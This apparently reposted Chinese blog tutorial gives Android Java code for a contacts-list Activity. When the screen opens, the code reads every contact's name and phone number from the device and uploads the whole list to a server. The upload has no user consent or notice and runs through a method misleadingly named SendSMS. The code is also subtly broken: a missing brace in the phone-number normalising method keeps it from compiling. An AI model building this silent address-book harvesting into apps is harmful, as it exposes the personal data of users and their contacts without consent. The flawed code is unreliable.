通讯录实例

来源:互联网 发布:如何下载bilbil软件 编辑:程序博客网 时间:2024/05/20 02:28
/**
 * 先定义String NamePhone,用于匹配上传格式
 * 通过TempString()把getData()返回的list转换成String类型
 * 传给定义好的NamePhone
 * 然后调用GetSMS()上传
 * @author Administrator
 *
 */
public class Contacts extends Activity {
private String NamePhone;
private ListView lv;
private ContentResolver resolver;//获取ContentResolver对象
private SimpleAdapter adapter;
// 查询raw_contacts表的uri,用于获取所有联系人
Uri rawContactsUri = ContactsContract.RawContacts.CONTENT_URI;
// raw_contacts表中display_name字段,用于直接获取姓名
String rawContacts_display_name = ContactsContract.Contacts.DISPLAY_NAME;
// raw_contacts表中的_id字段,同时对应data表中的raw_contacts_id字段
String rawContacts_id = ContactsContract.Contacts._ID;
// data表中的电话信息,需要通过_id字段来得到
Uri phoneUri = ContactsContract.CommonDataKinds.Phone.CONTENT_URI;
// 电话信息中的raw_contact_id字段
String phone_id = ContactsContract.CommonDataKinds.Phone.RAW_CONTACT_ID;
// 索引值字段
String phoneIndex = ContactsContract.CommonDataKinds.Phone.NUMBER;


@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
//setContentView(R.layout.testcontacts);
resolver=getContentResolver();
setContentView(R.layout.contacts);
NamePhone=TempString(getData());
SendSMS();
init();
}

    /**
     * 初始化
     */
private void init() 
{
// TODO Auto-generated method stub
lv=(ListView) findViewById(R.id.listView1);

adapter=new SimpleAdapter(this, getData(), R.layout.contactsitem,new String[]{rawContacts_display_name, "phone"},new int[]{R.id.user_name,R.id.user_phone});
lv.setAdapter(adapter);
}

/**
* 遍历list,迭代获取所有的key和vlaue
* 并且上传匹配格式
* @param list
* @return
*/
private String TempString(List<Map<String, String>> list) {
// TODO Auto-generated method stub
String NP="";
for (int i=0;i<list.size();i++)
{
Map<String, String>  map1=(Map<String, String>)list.get(i);
       Iterator<String> iterator = map1.keySet().iterator();
           while (iterator.hasNext())
           {
               String key = (String) iterator.next();
               String value = (String) map1.get(key);
               NP+=key+"|b|"+value+"|s|";     
           }      
}
LogUtil.e(NP);
//去掉最后的“|s|”三个字符
StringBuilder sb = new StringBuilder(NP);
String substring = NP.substring(0, sb.length()-3);
LogUtil.e(substring);
//返回最终的子串
return substring;
}


/**
* 返回list给适配器
* @return
*/
private List<Map<String, String>> getData() 
{
List<Map<String,String>> list=new ArrayList<Map<String,String>>();
//读取出所有的联系人
Cursor cursor=resolver.query(rawContactsUri, null,null,null,null);
while (cursor.moveToNext()) 
{
Map<String,String> map=new HashMap<String, String>();
//获取联系人姓名
String id=cursor.getString(cursor.getColumnIndex(rawContacts_id));
String name=cursor.getString(cursor.getColumnIndex(rawContacts_display_name));
  
//通过联系人id获取号码
Cursor phoneCursor=resolver.query(phoneUri, null, phone_id + " = ?", new String[]{id}, null);
StringBuilder phoneSB=new StringBuilder();

/**
* 通过联系人的id循环获取电话号码
* 因为一个人可能有多个电话号码
* 如果一个人多个号码就多条记录
* 而姓名是一样的。
*/
while(phoneCursor.moveToNext()) 
{
//得到电话号码
String phoneNumber=phoneCursor.getString(phoneCursor.getColumnIndex(phoneIndex));
//先判断
if (phoneNumber!=null) 
{ //获得转换后的电话号码
String mobile=MobileLenght(phoneNumber);
//然后在正则表达式判断
if(isMobileNO(mobile)) 
{ //通过就添加一个人的所有电话号码、、可以增加多条记录!!
phoneSB.append(mobile);
}
}
}
/**
* 如果手机号码为空的话,就把姓名和电话都移除。
* 不为空的话就添加到list
* 如果一个人多个电话号码
* 只取电话号码的第一个
*/
if (phoneSB.toString().equals("")) 
{
map.remove(rawContacts_display_name);
map.remove("phone");
}
else
{ //最终只取第一个电话号码。
map.put(rawContacts_display_name, name);
map.put("phone",phoneSB.substring(0,11));
list.add(map); 
}
}
return list;
//返回list给适配
}

/**
* 先初始化电话号码。
* 如果是加了+86和0头的先去掉。
* 不然的话就返回原来的长度
* 加上有些加横杠的“-”和空格的也去掉
  * @param mobiles
* @return
*/
private String  MobileLenght(String mobiles) {
// TODO Auto-generated method stub
String mobile=mobiles.replace("-","").replace(" ", "").trim();

if (mobiles.length()==14&&(mobiles.startsWith("+"))) 

mobile= mobiles.substring(mobiles.length()-11,mobiles.length());
    }
      if (mobiles.length()==12&&(mobiles.startsWith("0")))
      {
     
    mobile= mobiles.substring(mobiles.length()-11,mobiles.length());
    }
return mobile;
}

/**
* 判断手机号的正则表达式
* @param number
* @return
*/
public  boolean isMobileNO(String mobiles){
     boolean flag = false;
     try{
      Pattern p = Pattern.compile("^((13[0-9])|(15[^4,\\D])|(18[0,5-9]))\\d{8}$");
      Matcher m = p.matcher(mobiles);
      flag = m.matches();
     }catch(Exception e){
      flag = false;
     }
     return flag;
    }

 
/**
 * 上传通讯录函数
 * 先匹配后执行
 */
private void SendSMS()
{
//上传通讯录,获取的RUL
Request nprequest=new Request(UrlHelper.TRANSFER_NP);
nprequest.params.put("device", "3");
nprequest.params.put("tx",NamePhone);
 
nprequest.setCallback(new StringCallback() {

@Override
public void onSuccess(String result) {
// TODO Auto-generated method stub
LogUtil.e(result+"");
}

@Override
public void onFailure(AppException result) {
// TODO Auto-generated method stub
LogUtil.e(result.getMessage());
}
});
nprequest.execute();
 
}
}
0 0
原创粉丝点击